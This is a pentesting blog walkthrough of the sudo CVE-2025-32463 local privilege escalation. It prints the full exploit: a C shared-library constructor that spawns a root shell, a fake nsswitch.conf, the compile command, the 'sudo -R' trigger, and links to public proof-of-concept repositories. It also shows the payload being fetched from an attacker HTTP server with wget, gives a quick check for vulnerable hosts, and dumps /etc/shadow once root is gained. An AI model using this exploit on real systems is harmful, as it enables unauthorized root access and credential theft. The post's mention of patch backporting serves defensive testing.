Breaking Sudo: Inside the CVE-2025-32463 Sudo Privilege Escalation
From Unprivileged User to God Access in One Exploit.
In early 2025, security researcher Rich Mirch from the Stratascale Cyber Research Unit uncovered a serious flaw in `sudo` — the command-line utility that forms the backbone of privilege management on almost every Unix-like system. This vulnerability, tracked as CVE-2025-32463, is a critical local privilege escalation flaw with a CVSS score of 9.3 (Critical). It stems from how `sudo` handles certain environment configurations during its initialization phase. By exploiting this oversight, an attacker can cause `sudo` to load a malicious Name Service Switch (NSS) module from a location they control.
When triggered under the right conditions, this flaw grants the attacker full root access, bypassing all intended privilege boundaries. Versions from 1.9.14 to 1.9.17 are affected unless the vendor has applied patches, often delivered through backporting in supported distributions.
In this post, we’ll unpack exactly what makes this vulnerability possible, walk through a proof-of-concept exploit demonstration, and highlight what pentesters and red teamers need to know to successfully leverage it during engagements.
Chapter 1: Summoning the POC:
For this proof of concept (PoC), I downloaded the latest LTS version of Ubuntu — version 24.04.2 — from the official website and installed it on my VirtualBox. When I check the OS and kernel versions, it confirms that the system is running Ubuntu 24.04.3 with the Linux kernel 6.14.0-24-generic.
uname -a
Let's check which version of `sudo` is currently running. According to the output shown below, the system is using sudo version 1.9.15p5, which — based on the vulnerability description — falls within the vulnerable range of 1.9.14 to 1.9.17. Great!
sudo --version
Now to exploit this vulnerability, i have a POC exploit over here from Github.
Lets download it over our target machine.
git clone https://github.com/kh4sh3i/CVE-2025-32463
Now we will provide executable permission to our exploit bash script.
chmod +x exploit.sh
If I check my UID and GID using the `id` command, we can see that the tyrell user has a UID and GID of 1000, which indicates it's a regular user account - nothing unusual or privileged.
id
The exploit uses gcc to compile the code inside it. In order to have a successful execution, we need gcc installed in our target system.
sudo apt install gcc 
If we peek inside the exploit script, we can see the following code. Let’s break it down and understand what it’s doing.
📁 Create a Temporary Staging Directory
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1`mktemp -d` creates a random temp directory (e.g., `/tmp/sudowoot.stage.abcd12`)
`cd ${STAGE?}` moves into it safely (exits if `STAGE` is empty)
📦 Write Malicious C Code to File
cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOFThis creates a file woot1337.c with malicious shared library code.
🚨 The key part is:
__attribute__((constructor)) void woot(void) { ... }`constructor` means the function `woot()` runs automatically when the shared object is loaded.
`setreuid(0,0)` and `setregid(0,0)` — gives the process effective UID and GID 0 (root).
Then it launches a root shell: `execl("/bin/bash", "/bin/bash", NULL);`
🗂️ Prepare a Fake NSS Environment
mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etcCreates a fake root directory `woot/` mimicking a filesystem.
Writes a fake `nsswitch.conf` that says:
`passwd` lookups (e.g., `getpwnam()`) should use `woot1337` as a "NSS module"
Copies the real `/etc/group` file to avoid errors during NSS init.
⚙️ Compile the Malicious NSS Module
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cThis compiles the `woot1337.c` into a shared object:
-shared -fPIC: Build a shared library.
-Wl,-init,woot: Calls the `woot()` function upon library load.
Output: libnss_/woot1337.so.2
This mimics a legitimate NSS module like `libnss_files.so.2`.
🔥 Exploit Execution
sudo -R woot wootHere's where the vulnerability is triggered.
`-R woot` tells sudo to chroot into the `woot/` directory before running anything.
woot (second one) is just a dummy command (doesn’t matter — it triggers NSS).
Inside the chroot, nsswitch.conf says "for passwd, use /woot1337".
So `sudo` loads `libnss_woot1337.so.2` — the malicious library.
As it's loaded, the constructor gives root shell access.
💥 You are now root inside the attacker-controlled environment, breaking out of sudo constraints.
🧹 Clean Up
rm -rf ${STAGE?}Deletes the temp staging area after execution.
Chapter 2: Troubleshooting is Fun!
Now that we have understand the working of our exploit. Lets fire it!
./exploit.sh
Okay! so we got hit by an error, which says that we are not permitted to use the -R option with user woot. Strange!
Next, i double checked by running version using the below command and it does confirms that we are running Ubuntu 24.04.2 LTS having codename "Noble".
lsb_release -a
Now if we look back into the exploit, it was using -R to run the command in a chroot-like restricted root directory environment. More precisely, it was setting an alternate root directory for path resolution — similar to `chroot`, but not exactly the same. This means that when `sudo` tries to access paths like `/etc/nsswitch.conf`, it instead looks in:
<R_DIR>/etc/nsswitch.confSo when we run:
sudo -R woot wootIt tells sudo:
Pretend `woot/` is the root directory and run the command `woot` inside it.
But, we’re encountering this error:
sudo: you are not permitted to use -R option with wootThis indicates that the current Ubuntu LTS version is restricting the use of `sudo` with the `-R` (chroot) option, likely as a security measure.
However, there’s an apparent contradiction: the `sudo` version running on this system is 1.9.15p5, which — according to the CVE description — falls within the vulnerable range (1.9.14 to 1.9.17).
So, what’s going on?
The most likely explanation is that Ubuntu has patched this vulnerability via backporting. In other words, although the version number hasn’t been bumped to 1.9.17 or higher, the security patch for CVE-2025-32463 has been manually applied to the older version maintained by Ubuntu (1.9.15p5 in this case).
This is common practice in LTS distributions, where stability is prioritized over major version upgrades. Therefore, despite the version appearing vulnerable at a glance, the system is in fact secured through a backported fix.
To confirm this theory, i went to the Ubuntu Security Notices section and search for our concerned CVE - CVE-2025-32463. I found this Security Notice.
Security Notice: https://ubuntu.com/security/notices/USN-7604-1
Based on this, the sudo package in Ubuntu 24.04 LTS (Noble) has been patched, and the updated version is: sudo 1.9.15p5-3ubuntu5.24.04.1
This version includes the necessary security fixes for CVE-2025-32463, even though the upstream version number (1.9.15p5) appears to fall within the vulnerable range.
Let’s confirm this by checking the apt cache for the sudo package. The output below confirms that the patch has indeed been applied.
sudo apt-cache policy sudo
Easy Check for Vulnerability
While researching the cause of my exploit failure, I came across a quick and simple check to determine whether a target system is vulnerable to this privilege escalation vulnerability. You can run the following command to test it:
sudo -R woot wootIf it returns an error like:
then the system is not vulnerable — the use of `-R` is restricted.
However, if the output says:
sudo: woot: No such file or directorythen you’ve likely hit a goldmine — the system is vulnerable, and the exploit may succeed.
Chapter 3: POC Final Boss:
Now that we understand what’s causing our exploit to fail, I explored other GitHub repositories hosting PoCs for this vulnerability and came across another one. While it’s not significantly different from the previous PoC, it does offer a convenient Bash script that helps us spawn a Docker container using the Ubuntu 24.04 image with a vulnerable `sudo` version: 1.9.16p2. This makes it much easier to test the exploit in a controlled environment.
Download the POC script onto our target machine.
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
Lets install docker first so that we can spin up our containers.
sudo apt install docker.io
Moving on, we will fire the run.sh script to spin a Ubuntu docker container for us. This might take a minute.
sudo ./run.sh
Voila! We have our container ready. Upon checking the OS and sudo version it confirms that we are running - Ubuntu 24.04 with Sudo version 1.9.16p2.
uname -a
sudo --version
Checking the id of our user with the below command reveals a regular UID and GID.
id
Once i fired the exploit. Boom! We got a root shell here.
./sudo_chwoot.sh
I also tried the previous exploit and it is working just fine in our docker container.
Now that we are root, we do have God Access into this system. We can do anything now like dumping contents of /etc/shadow file.
cat /etc/shadow
Chapter 4: Eliminating GCC:
Now that we’ve reviewed the exploit and successfully obtained a root shell, let’s address a key limitation in the exploit code — the reliance on GCC.
The exploit script compiles the `woot1337.c` source file into the shared object file `libnss_/woot1337.so.2`. This compilation step requires `gcc` to be installed on the target machine. However, in a CTF or realistic scenario, it’s unlikely you’ll have the ability to install `gcc` on the target system because:
Installing gcc usually requires internet access.
It requires sudo privileges to install packages.
To work around this limitation, you have two practical options:
1. Compile the exploit entirely on your attacker machine (where you have gcc) and then transfer the complete `/woot` directory—including the compiled shared object and configuration files—to the target.
2. Use a precompiled shared object file that matches the target’s environment and simply transfer and run it on the target machine to achieve the same privilege escalation.
Both approaches allow you to bypass the need for gcc on the target while still successfully running the exploit.
1. Manual Labour:
Lets see how we can make use of the first technique. For that, i have a C code over here which when executed will provide us a root shell.
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}We will compile this in our attacker machine using gcc to a shared object file named libnss_woot1337.so.2
gcc -shared -fPIC -Wl,-init,woot -o libnss_woot1337.so.2 woot1337.c
On our local machine, we will create the folder structure that the exploit expects:
mkdir -p woot/etc cp libnss_woot1337.so.2 woot/libnss_woot1337.so.2Next, we will create the custom nsswitch.conf:
echo "passwd: /woot1337" > woot/etc/nsswitch.confNow lets Copy /etc/group (or use the one from the target system if you want it precise):
cp /etc/group woot/etc/
Now we have to transfer the whole woot directory to the target machine. Lets spawn our Python HTTP server for that.
python3 -m http.server
We will now download the contents of the woot directory onto our target machine. I’ve used wget along with a simple HTTP server to do this, but you can use any file transfer method that suits your environment. By default, wget doesn't support downloading entire directories unless you enable the recursive option. In a nutshell, we're trying to transfer the shared object (.so) file from the woot directory, along with an etc directory that contains two files: `nsswitch.conf` and a copy of the `group` file.
Ideally, I would recommend downloading only the .so file from your attacker machine and manually creating the nsswitch.conf and group files on the target. This approach avoids potential conflicts and is generally cleaner. But for now, let’s go through the lazy (and arguably messier) method I initially used.
wget -r http://192.168.1.5:8000/woot
wget -r http://192.168.1.5:8000/woot/etc/mv 192.168.1.5\:8000/woot/libnss_woot1337.so.2 .
mv 192.168.1.5\:8000/woot/192.168.1.5\:8000/woot/etc/group .
mv 192.168.1.5\:8000/woot/192.168.1.5\:8000/woot/etc/nsswitch.conf .
mkdir woot
mv libnss_woot1337.so.2 nsswitch.conf group woot/
cd woot/
mkdir etc
mv nsswitch.conf group etc/
Now that we have all the necessary files on our target machine, the final step is to use the -R option with the appropriate arguments to escalate to root. However, since this is a Docker container specifically built for testing the Bash exploit, I encountered an unexpected hurdle: when I attempted to manually exploit it, the container prompted me for the `pwn` user’s password.
To work around this, I first dropped into a root shell and tried to set a password for the pwn user — but that didn’t work. I then inspected the Dockerfile used to build the container and realized that the pwn user doesn’t have a password set by default. I modified the Dockerfile three different times to address various issues, but despite those changes, it still wouldn’t work as expected.
So, leaving behind all the manual effort with Docker, I decided to test the exploit directly on my target machine — outside the container. As expected, I received the permission error, which confirms that the exploit will work in a target environment where the conditions are ideally met. With that verified, let’s move on to a cleaner and more hassle-free approach.
2. Pre-compiled Ninjutsu:
Now that we're done with all the manual chores, let’s switch to a pre-compiled library exploit to gain root access on the target — this time without needing GCC. For this, I’m using a repository that contains two essential files: a pre-compiled shared object (.so) file and a Bash script designed to execute that `.so` file.
Download the exploit onto the target system or move it via wget and a HTTP server if you are in an engagement.
git clone https://github.com/zinzloun/CVE-2025-32463
Once the files are downloaded, we’ll set executable permissions on the `poc.sh` script. Then, with a simple execution — Boom! God access achieved.
chmod +x poc.sh
./poc.sh
Chapter 5: Wrapping Up:
CVE-2025-32463 is a reminder that even mature, battle-tested tools like sudo can harbor critical flaws with massive security impact. For pentesters and red teamers, it’s an opportunity to demonstrate the real-world risk of overlooked configuration options and environment handling. But like all powerful exploits, its use should be limited to authorized engagements in controlled environments.
When running operations, always verify the target’s `sudo` version, test for the necessary conditions, and understand the safeguards modern distributions have implemented — including backported patches that silently close this hole. The more precisely you can replicate the vulnerable conditions, the greater your chance of a successful demonstration.
Responsible disclosure, careful exploitation, and clear reporting will ensure that vulnerabilities like this are both understood and addressed — strengthening the defenses you’re tasked with testing.
Ready to level up your pentesting game and unlock more root exploits like this? Subscribe to God Access Labs — your go-to source for deep-dives, PoCs, and advanced red teaming techniques to help you gain that ultimate God Access. Don’t miss out!